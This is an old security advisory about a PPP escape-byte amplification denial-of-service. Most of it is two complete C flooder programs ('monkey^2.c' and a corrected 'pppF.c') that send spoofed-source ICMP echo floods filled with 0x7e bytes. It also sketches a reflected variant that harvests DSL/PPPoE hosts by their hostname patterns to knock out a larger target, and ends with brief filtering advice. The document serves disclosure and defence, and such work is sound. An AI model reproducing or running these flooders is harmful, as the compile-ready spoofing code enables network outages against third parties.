COMMAND

    PPP

SYSTEMS AFFECTED

    PPP

PROBLEM

    'cat catzor' found following.   PPP uses a speciffic flag  byte to
    signify begining and end of ppp frame.  If this byte is  contained
    in the data portion of the frame it is escaped by two other bytes.
    Crafting a packet filled with the flag byte doubles the amount  of
    data  which  goes  through  the  ppp  link,  as  well  as consumes
    resources while the escaped bytes are unescaped.

    "Problem" lies within ppp itself, on link level.  It is irrelevant
    which protocol is used to deliver data to the target machine.

    A typical ppp frame looks like this:

        [FLAG(7e)][ADDR][CONTROL][PROTOCOL][INFORMATION][CRC][FLAG(7e)]

    Note:  most  implementations  don't  actually  transmit  addr  and
    control fields (since  these are static).  If the flag  charachter
    is contained within the [INFORMATION] portion of the frame, it  is
    replaced by a sequence of [0x7d  0x5e].  So if an incoming  packet
    contains one  7e byte,  it will  get converted  to two other bytes
    when it enters the  ppp link, hence, the  flood will double.   The
    attached  code  uses  icmp  echo  request  to  deliver the data to
    target.  If the target also replies to this packet (as it  should)
    it will once again  amplify the flood.   In other words, for  each
    byte the attacker  sends, targets gets  hit with two,  and replies
    with  two.   Attached  code  supports  spoofing  of originating IP
    adress.

    NOTE: by  default ppp  will also  escape any  byte with value less
    than  0x20  (i.e  any  ASCII  controll charachter) so while simply
    filtering suspicious  amounts of  0x7e might  save your  ppp users
    from this  particular piece  of code,  modifying the  attack is as
    simple as changing the data character.

    Code developed by xaiou.  Concept developed by xaiou, reviewed  by
    USSR Research.

        File Name: monkey^2.c
        Platform:  linux 2.x
        Compile:   gcc -o monkey^2 monkey.c
        Suggested: ansi color capable terminal.

    IMPORTANT: in order for  this to do what  it's supposed to do,  it
    is imperial that the  attacker NOT be on  a ppp link himself.   If
    one was  to attack  a ppp  link FROM  a ppp  link, it  would prove
    completely useless. (because you'd  be sending 2 bytes  and target
    would be getting hit by two, you might as well ping -f).

    The code (below this one is another one that apparently works):

    /****************************************************************************
     * Monkey Squared Dot Cee - only thing better than a monkey....             *
     * is monkey squared. - me myself and xaiou.                                *
     * USSR Research Team - Concept and code by xaiou. Checksum function        *
     * stolen from smurf by TFreak.                                             *
     * Concept:  ppp uses a special byte, namely 0x7e to designate start and    *
     * end of a packet.  If this byte appears in data, it is escaped with       *
     * 0x7d and 0x5e.  So in conclusion sending, a spoofed icmp echo request    *
     * to a target host on ppp link, loaded with 0x7e, first of all, the load   *
     * doubles when it hits the ppp link, and if that wasn't enough, the victim *
     * responds with this packet, again doubling the load.  So for each 1 byte  *
     * you send victim recieves two and sends out two.  Not bad, eh?  Anyways   *
     * the only solution I see to this is to block icmp echo requests to your   *
     * ppp linked friends.                                                      *
     *                                                                          *
     * Props: USSR Research, Neounix.com, superluck, optiklenz, NAI,            *
     *        Richard Stevens (you're my hero), powerbox, armoredtech           *
     *        w00w00 team (j00 ar3 3rl33t), all the people in #c (i love you    *
     *        guys!), aliensex, OGL, IanH.  Also TFreak (i hope you don't mind  *
     *        me borrowing your checksum function.) Also phrack and route       *
     *        (you are my other hero), BlackIC for the coloreds. DJ Jeff from   *
     *        the 418 club in mineapolis, and that one stripper...              *
     *                                                                          *
     * Morons: digiebola ("hacker" who can't code hello world) and his slut     *
     *         "girlfriend" (the girl part is debatable).  All irc hookers,     *
     *         people who run NT,  people who buy NT, people who make NT,       *
     *         People who think think they're LOU (you are not lou damn it)     *
     *                                                                          *
     * --------------------- USSR Research Team 2000  --------------------------*/



    #include <stdio.h>
    #include <stdlib.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <netinet/in.h>
    #include <netinet/ip.h>
    #include <netinet/ip_icmp.h>
    #include <netdb.h>
    #include <ctype.h>
    #include <arpa/inet.h>
    #include <unistd.h>
    #include <string.h>
    #define GREEN "\033[32m"
    #define RED   "\033[31m"
    #define GRAY "\033[37m"

    unsigned short in_chksum (u_short *addr, int len); /* stolen from smurf */
    void ussrinfo(void);
    void usage(void);





    int main (int ARGC, char *ARGV[]) {
    struct iphdr *iphdr;
    struct icmphdr *icmphdr;
    struct sockaddr_in sockaddress;
    char *packet;
    int raw_socket;
    int i;
    int no_packetsz;
    int sizeofpacket;
    char *data;

    ussrinfo();


    if(ARGC != 5) { usage(); exit(0); }
    sizeofpacket = atoi(ARGV[4]);

    data = (char *)malloc(sizeofpacket);
    memset(data, 0x7e, sizeofpacket);

     /* name the socket */
     sockaddress.sin_addr.s_addr = inet_addr(ARGV[2]);
     sockaddress.sin_family = AF_INET; /* internet socket */
     sockaddress.sin_port = 0; /* it's icmp...no port */
      if ((raw_socket = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
        perror("getting socket");
        exit(-1);
        }


     packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + sizeofpacket);
     iphdr = (struct iphdr *)packet; /* ip now refers to packet.iphdr */
     icmphdr = (struct icmphdr *) (packet + sizeof(struct iphdr));

       iphdr->tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + sizeofpacket);
       iphdr->ihl = 5;  /* ip header lenght in 32 bit words */
       iphdr->version = 4;
       iphdr->ttl = 255;  /* maximum hops */
       iphdr->tos = 0;
       iphdr->frag_off = 0; /* data offset */
       iphdr->protocol = IPPROTO_ICMP;
       iphdr->saddr = inet_addr(ARGV[1]); /* fake source       */
       iphdr->daddr = sockaddress.sin_addr.s_addr;                /* reall destination */
       iphdr->check = in_chksum((u_short *)iphdr, sizeof(struct iphdr)); /* checksum */
       icmphdr->type = 8;                   /* echo request */
       icmphdr->code = 0;                   /* icmp subcode...screw it */
       icmphdr->checksum = in_chksum((u_short *)icmphdr, sizeof(struct icmphdr) + sizeofpacket);

    printf(RED"Now flooding %s\n", ARGV[2]);
    no_packetsz = atoi(ARGV[3]);
    i=0;
     while(1)  {
                printf(GRAY".");
                sendto(raw_socket, packet, (sizeof(struct iphdr) + sizeof(struct icmphdr) + sizeofpacket), 0, (struct sockaddr *)&sockaddress, sizeof(struct sockaddr));
                if( (i > no_packetsz) && (no_packetsz != 0)) { break; }
                i++;
     }
      printf(GREEN"\nMonkey Complete...monkey squared complete.\n"GRAY);
      return 1;
     }



    unsigned short in_chksum (u_short *addr, int len)
    {
         register int nleft = len;
         register int sum = 0;
         u_short answer = 0;

         while (nleft > 1) {
         sum += *addr++;
         nleft -= 2;
         }

         if (nleft == 1) {
         *(u_char *)(&answer) = *(u_char *)addr;
         sum += answer;
         }

            sum = (sum >> 16) + (sum + 0xffff);
            sum += (sum >> 16);
            answer = ~sum;
           return(answer);
       }


    void ussrinfo(void) {
      printf("---------------------------------------------------------------\n");
      printf(GREEN"| Underground Security Systems Research Proudly Presents:     |\n\n");
      printf("| monkey squared dot cee - ppp linkz ...the end is near.      | \n");
      printf("| By: xaiou (tarik).                                          | \n");
    }

    void usage(void) {
      printf(RED"| Usage: monkey^2 source destination number (0 for infinite ) |\n");
      printf(GRAY"|---------------------USSR Research --------------------------|\n");
     }

    Goncalo Nuno  Gomes Silva  posted following  to Securitz  Bugware.
    He says that exploit above isn't  doing what was suppose to.   All
    it  does  is  sending  the  packet  header followed by null bytes,
    instead of sending 0x7e.  There are other things that wasn't  good
    either, like  de loop  who counts  the send  packets and the usage
    that have only four fields and the exploit only works with argc=5.
    So he decided to  make his own exploit,  which goes in the  below.
    Thnx.

    /*
     * pppF.c
     * PPP Flooder
     *
     * Author: NeVErMinD
     *         gngs@mega.ist.utl.pt
     *
     * Greets To: Susana(my love), DrBrain, paran0id, BeBe, FractalG, its1,
     *            #torres_de_ervas
     *
     *
     * Few words: USSR Research Team found this bug, i just write the exploit
     *            based on their information. Basically, what this does is
     *            sending one special byte "0x7e" making the ppp link trafic
     *            increase four times.
     *
     */
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <netinet/ip.h>
    #include <netinet/ip_icmp.h>
    #include <netdb.h>
    #include <errno.h>
    
    void usage( char *name )
      {
       printf( "\nusage: %s <source host> <victim host> <packetsize> [npackets]\n\n",name);
       printf( "Made By NeVErMinD\n");
       exit( 0 );
      }
    
    // procedure taken from stream.c
    inline u_short in_cksum(u_short *addr, int len)
        {
            register int nleft = len;
            register u_short *w = addr;
            register int sum = 0;
            u_short answer = 0;
    
    
             while (nleft > 1)  {
                 sum += *w++;
                 nleft -= 2;
             }
    
             /* mop up an odd byte, if necessary */
             if (nleft == 1) {
                 *(u_char *)(&answer) = *(u_char *) w;
                 sum += answer;
             }
    
             /* add back carry outs from top 16 bits to low 16 bits */
             sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
             sum += (sum >> 16);            /* add carry */
             answer = ~sum;                 /* truncate to 16 bits */
             return(answer);
        }
    
    
    struct hostent *resolv ( char *host)
    {
     struct hostent *hp;
    
     if( ( hp = gethostbyname( host ) ) == NULL )
              {
                perror("gethostbyname()");
                exit( -1 );
              }
    }
    
    void attack( int sockid, struct sockaddr_in sin, struct sockaddr_in din,
    char *arg, int npackets, int sizeofpacket  )
      {
         char *packet;
         int psize,i;
         char *data;
         struct iphdr *ip;
         size_t iplen = sizeof( struct iphdr );
         struct icmphdr *icmp;
         size_t icmplen = sizeof( struct icmphdr );
    
         data = (char *)malloc(sizeofpacket);
         memset(data, 0x7e, sizeofpacket);
    
         packet = ( char * )malloc( iplen + icmplen + sizeofpacket );
    
         ip = ( struct iphdr * )packet;
         icmp = ( struct icmphdr * )( packet + iplen );
    
         bcopy( data ,(packet+iplen+icmplen) ,  sizeofpacket);
    
         ip->ihl = 5;
         ip->tos = 0;
         ip->version = 4;
         ip->ttl = 255;
         ip->protocol = IPPROTO_ICMP;
         ip->saddr = sin.sin_addr.s_addr;
         ip->daddr = din.sin_addr.s_addr;
         ip->tot_len = htons( iplen + icmplen +  sizeofpacket  );
         ip->check = in_cksum( ( u_short * )ip, iplen );
    
         icmp->type = ICMP_ECHO;
         icmp->code = 0;
         icmp->checksum =in_cksum( ( u_short * )icmp,(icmplen + sizeofpacket ));
    
         psize = ( iplen + icmplen + sizeofpacket  );
    
         printf ("\n\nFlooding %s\n\n", arg);
    
         i=0;
    
         while(1)
                 {
                if( (i == npackets) && (npackets != 0))
                 { break; }
                if ((sendto( sockid, packet, psize, 0,
                  ( struct sockaddr * )&din, sizeof( struct sockaddr ) ))< 0 )
                     {
                      perror("sendto()");
                      exit( -1 );
                      }
                printf (".");
                i++;
              }
    
         printf( "\nCompleted\n");
         free( packet );
    }
    
    
    int main( int argc, char *argv[] )
        {
         struct sockaddr_in sin, din;
         struct hostent *sourcehost, *desthost;
         int sockid,npackets,sizeofpacket;
    
    
         if (argc<4) usage(argv[0]);
    
         if (argv[4]==NULL)
                npackets = 0;
          else
              npackets = ( atoi( argv[4] ) );
    
         sizeofpacket = ( atoi( argv[3]) );
    
        sourcehost = resolv (argv[1]);
        bcopy( sourcehost->h_addr, &sin.sin_addr, sourcehost->h_length );
    
        desthost = resolv (argv[2]);
        bcopy( desthost->h_addr, &din.sin_addr, desthost->h_length );
        din.sin_family = AF_INET;
    
         if( ( sockid = socket( AF_INET, SOCK_RAW, IPPROTO_RAW ) ) == -1 )
              {
                perror("socket()");
                 exit( -1 );
              }
               attack( sockid, sin, din, argv[2], npackets, sizeofpacket );
    
         return 0;
         }

    "New DOS  attack" isn't  quite appropriate.   This kind  of attack
    has been known for  quite some time now.   It is effective on  any
    kind of link, and it's a ppp encapsulation pattern for ping.

    But there may be a  larger problem with the encapsulation  attack.
    This would be a kind of smurf+USSR  Labs code.  It has to do  with
    dsl connections that  use PPPoE (Or  PPPoX).  It's  pretty easy to
    gather  a  big  list  of  DSL  IPs...  Look  at some of the naming
    schemes   (e.g.:       adsl-208-191-156-188.dsl.hstntx.swbell.net,
    adsl-gte-la-216-86-202-119.mminternet.com,
    3ff8e2d5.dsl.flashcom.net,  63-217-212-127.sdsl.cais.net,  you get
    the idea...)  you can  guess a  pretty wide  range of  the reverse
    lookups / IP's that are using  DSL technology.  Though not all  of
    these will be using PPPoE, a  large number do because the easy  of
    use.  If you can get double the traffic from a good sized list  of
    these  addresses,  spoofing  the  source  address  to  some target
    machine, you could  cripple it without  using up much  of your own
    bandwidth.  Mind you this would definitely not be as effective  as
    smurf,  but  because  of  the  Amplification  of packets from high
    (read  decent)  bandwidth  connections,  you  could take down your
    friendly neighborhood big  backbone from something  smaller (don't
    think 56K dialup is going to do it for you this time though).

SOLUTION

    Disallow icmp trafic  to your ppp  connected machines (before  the
    ppp link), or  filter packets which  contain suspicious number  of
    the ppp flag byte (0x7e).